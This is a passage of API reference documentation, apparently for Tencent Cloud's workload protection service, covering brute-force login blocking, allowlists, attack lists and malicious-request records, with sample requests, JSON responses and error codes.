{
"Values": [
"abc"
],
"Name": "abc",
"ExactMatch": true
}
],
"Offset": 1
}
```


Output Example


```
{
"Response": {
"HostLoginList": [
{
"Id": 202008000000022,
"Uuid": "5cc8e4d2-311f-11ea-922b-98be9421969a",
"MachineIp": "10.104.194.49",
"MachineName": "v_lwjlin_centos_Lin",
"UserName": "root",
"SrcIp": "120.229.227.225",
"Status": 2,
"Country": 1,
"City": 216,
"Province": 19,
"LoginTime": "2020-02-20 14:51:35",
"ModifyTime": "2020-02-20 14:51:35",
"IsRiskUser": 0,
"Port": 22,
"Location": "China: Guangdong Province: Shenzhen",
"Desc": "",
"IsRiskSrcIp": 1,
"IsRiskArea": 1,
"Quuid": "xxxx-xxxx-xxxxxx-xxxxxx-xxxx",
"RiskLevel": 0,
"IsRiskTime": 1,
"MachineExtraInfo": {
"WanIP": "111.111.111.111",
"InstanceID": "ins-12341234",
"NetworkName": "",
"PrivateIP": "1.1.1.1",
```


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```
"NetworkType": 1,
"HostName": "abc"
}
}
],
"RequestId": "4234234",
"TotalCount": 446
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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Password Cracking APIs
DescribeBanMode

Last updated：2024-12-06 15:39:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the brute-force blocking mode.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBanMode.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Mode	String	Blocking mode. STANDARD_MODE: standard mode; DEEP_MODE: deep mode.
StandardModeConfig	StandardModeConfig	Configuration of the standard blocking mode

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Brute-Force Cracking Blocking Mode

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBanMode
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Mode": "STANDARD_MODE",
"StandardModeConfig": {
"Ttl": 1
},
"RequestId": "132456798"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyBanMode

Last updated：2024-12-06 15:39:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the brute-force blocking mode.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBanMode.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Mode	Yes	String	Blocking mode. STANDARD_MODE: standard mode; DEEP_MODE: deep mode.
Ttl	No	Integer	Blocking time. This parameter is valid in standard blocking mode.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying Brute-Force Blocking Mode

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ModifyBanMode
&Mode=STANDARD_MODE
&Ttl=300
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "d3a98678-7cc8-bd6d-0b5f-a5a822f471f9"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBanStatus

Last updated：2024-12-06 15:39:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the block button status.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBanStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Status	Integer	Blocking enabling status: 0: disabled 1: advanced blocking 2: basic blocking (block only malicious IP addresses in the intelligence database)

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ShowTips	Boolean	Whether to display the pop-up prompt. False: no; true: yes.
OpenSmartMode	Boolean	Whether to enable intelligent over-allowing mode
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Status of Blocking Button

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBanStatus
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": 1,
"ShowTips": false,
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyBanStatus

Last updated：2024-12-06 15:39:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to set the block switch status.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBanStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Status	Yes	Integer	Blocking switch status: 0 -- off; 1 -- advanced blocking; 2 -- basic blocking (Only blocklisted IPs in the intelligence database will be blocked.)
OpenSmartMode	No	Boolean	Whether to enable intelligent over-allowing mode

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Setting Block Switch Status

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ModifyBanStatus
&Status=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeBanWhiteList

Last updated：2024-12-06 15:39:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the blocking allowlist list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBanWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Quantity of returns. The maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • Keywords - String - required: no - query by keywords

3. Output Parameters

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Parameter Name	Type	Description
TotalCount	Integer	Total number of records
WhiteList	Array of BanWhiteListDetail	Allowlist
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Blocking Allowlist

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBanWhiteList
&Offset=0
&Limit=10
&<Common request parameters>
```

Output Example

```
{
"Response": {
"TotalCount": 4,
"WhiteList": [
{
"Id": "33",
"SrcIp": "xx.xx.xx.xx",
"ModifyTime": "2020-02-18 18:28:29",
"CreateTime": "2020-02-18 18:28:29",
"Remark": "532",
"Uuid": "d4cc302e-09e5-436f-b99b-5ab9c9070323",
"IsGlobal": false,
"Quuid": "d4cc302e-09e5-436f-b99b-5ab9c9070323",
"MachineIp": "1.1.1.1",
"MachineName": "name******"
}
],
"RequestId": "aad8005f-2bf2-8b79-cfde-b030576f886e"
```

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```
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ResourceNotFound	The resource does not exist.

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DescribeBanRegions

Last updated：2025-03-11 22:59:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the block region.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBanRegions.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Mode	Yes	String	Blocking mode. STANDARD_MODE: standard mode; DEEP_MODE: deep mode.

3. Output Parameters

Parameter Name	Type	Description
RegionSet	Array of	Region information list

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	RegionSet	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining a Blocking Region

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBanRegions
&Mode=STANDARD_MODE
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RegionSet": [
{
"RegionName": "South China (Guangzhou)",
"ZoneSet": [
{
"ZoneName": "Guangzhou Zone 2"
},
{
"ZoneName": "Guangzhou Zone 3"
},
{
"ZoneName": "Guangzhou Zone 4"
},
{
"ZoneName": "Guangzhou Zone 6"
},
{
"ZoneName": "Guangzhou Zone 7"
}
]
}
],
"RequestId": "dd2d8482-b462-4260-a9df-2f9e92abd72b"
```

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```
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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StopNoticeBanTips

Last updated：2024-12-06 15:39:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to stop displaying pop-up prompts about brute force cracking blocking.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: StopNoticeBanTips.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Stopping the Display of Brute-force Blocking Prompt Pop-up

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=StopNoticeBanTips
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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CreateBanWhiteList

Last updated：2024-12-06 15:39:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add the list of block allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateBanWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Rules	Yes	BanWhiteList	Block rules
EventId	No	Integer	Event list ID, which is passed when the event list is allowlisted. After it is successfully allowlisted, the events in the list will be marked as whitelisted.

3. Output Parameters

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Parameter Name	Type	Description
IsGlobal	Boolean	Whether a global rule
IsDuplicate	Boolean	Whether the addition of a rule would result in a duplicate
DuplicateHosts	Array of DuplicateHosts	Information on duplicate machines
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding a Blocking Allowlist

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateBanWhiteList
<Common request parameters>

{
"Rules": {
"Remark": "xx",
"Uuid": "xx",
"IsGlobal": true,
"Id": "xx",
"ModifyTime": "2020-09-22 00:00:00",
"SrcIp": "xx",
"CreateTime": "2020-09-22 00:00:00",
"Quuids": [
"xx"
]
}
}
```

Output Example

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```
{
"Response": {
"IsDuplicate": true,
"IsGlobal": false,
"DuplicateHosts": [
{
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Id": 1
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.IpNoValid	The IP format is invalid.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeBruteAttackRules

Last updated：2024-12-06 15:39:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain brute force cracking rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBruteAttackRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Rules	Array of BruteAttackRuleList	List of rules for blocking brute force cracking

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Brute-Force Cracking Rules

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBruteAttackRules
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"Rules": [
{
"LoginFailTimes": 1,
"LoginFailTimesDefault": 1,
"TimeRange": 1,
"Enable": true,
"TimeRangeDefault": 1
}
],
"RequestId": "5336f9fe-55bc-d1de-b5d2-ead1f6be2ea7"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DeleteBanWhiteList

Last updated：2024-12-06 15:39:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the list of blocking allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBanWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Allowlist ID list to be deleted (up to 100)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Blocking Allowlist

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteBanWhiteList
&Ids.0=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyBruteAttackRules

Last updated：2024-12-06 15:39:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify brute force cracking rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBruteAttackRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Rules.N	Yes	Array of BruteAttackRule	Rule of determining brute force cracking

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying Brute-Force Blocking Mode

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ModifyBruteAttackRules
&Rules.0.TimeRange=10
&Rules.0.LoginFailTimes=20
&Rules.1.TimeRange=20
&Rules.1.LoginFailTimes=40
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "c212bdc3-4666-1962-ee24-05e43f5b856c"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyBanWhiteList

Last updated：2024-12-06 15:39:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the blocking allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBanWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Rules	Yes	BanWhiteList	Modify allowlist rule item

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Blocking Allowlist

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ModifyBanWhiteList
&Rules.Id=1
&Rules.Remark=test123
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeBruteAttackList

Last updated：2024-12-06 15:39:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of password cracking.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBruteAttackList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of items to be returned. The maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • IpOrAlias - String - required: no - filter by host IP or alias • Uuid - String - required: no - CWPP unique UUID • Quuid - String - required: no - CVM UUID • Status - String - required: no - filter by status: failed - FAILED; succeeded - SUCCESS • UserName - String - required: no - filter by UserName • SrcIp - String - required: no - filter by source IP

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			• CreateBeginTime - String - required: no - filter by first attack time, start time • CreateEndTime - String - required: no - filter by first attack time, end time • ModifyBeginTime - String - required: no - filter by last attack time, start time • ModifyEndTime - String - required: no - filter by last attack time, end time • Banned - String - required: no - filter by blocking status (separate multiple items with commas): 0 - not blocked (global ZK switch is off); 82 - not blocked (Non-Pro Edition); 83 - not blocked (allowlisted); 1 - blocked; 2 - not blocked (abnormal program); 3 - not blocked (private network attacks cannot be blocked); 4 - not blocked (Anping is not supported)
Order	No	String	Sorting method: sort by number of requests: asc - ascending order/desc - descending order
By	No	String	Sorting field: CreateTime - first attack time

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number Note: This field may return null, indicating that no valid values can be obtained.
BruteAttackList	Array of BruteAttackInfo	List of password cracking attacks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining a Password Cracking List

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This example shows you how to obtain the password cracking list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBruteAttackList
<Common request parameters>

{
"Limit": 1,
"Filters": [
{
"Values": [
"abc"
],
"Name": "abc",
"ExactMatch": true
}
],
"Offset": 1
}
```

Output Example

```
{
"Response": {
"BruteAttackList": [
{
"Id": 202008000000971,
"Uuid": "c2972dd6-165e-11ea-95eb-40f2e9f5667a",
"MachineIp": "10.104.135.28",
"MachineName": "poc test-debian9",
"UserName": "root",
"SrcIp": "117.146.173.98",
"Status": "FAILED",
"EventType": 200,
"Country": 1,
"City": 334,
"Province": 31,
"CreateTime": "2020-02-21 16:35:49",
"BanStatus": 82,
"Count": 1098,
"InstanceId": "ins-xxx"
}
```

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```
],
"RequestId": "4234234",
"TotalCount": 25328
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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Malicious Request APIs
DescribeRiskDnsList

Last updated：2024-12-06 15:41:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the malicious request list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskDnsList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter criteria • IpOrAlias - String - required: no - filter by host IP or alias • Url - String - required: no - filter by URL • Status - String - required: no - filter by status: 0: pending; 2: trusted; 3: untrusted

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			• MergeBeginTime - String - required: no - start time of the last access • MergeEndTime - String - required: no - end time of the last access
Order	No	String	Sorting method: sort by number of requests: asc - ascending order/desc - descending order
By	No	String	Sorting field: AccessCount - number of requests; LastTime - last request time

3. Output Parameters

Parameter Name	Type	Description
RiskDnsList	Array of RiskDnsList	Arrays of malicious request lists Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Malicious Requests

This example shows how to obtain the list of malicious requests.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeRiskDnsList
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "4234234",
"RiskDnsList": [
{
"Url": "odysseusweb.ru",
"AccessCount": 6,
"ProcessName": "C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe",
"ProcessMd5": "97cdf8b51cea8d0f296e6871e388979d",
"GlobalRuleId": 0,
"UserRuleId": 0,
"Status": 0,
"CreateTime": "2019-12-25 22:31:54",
"MergeTime": "2019-12-25 22:31:54",
"Quuid": "e761c2dc-bc72-40cd-b9ed-d233c86b1a8b",
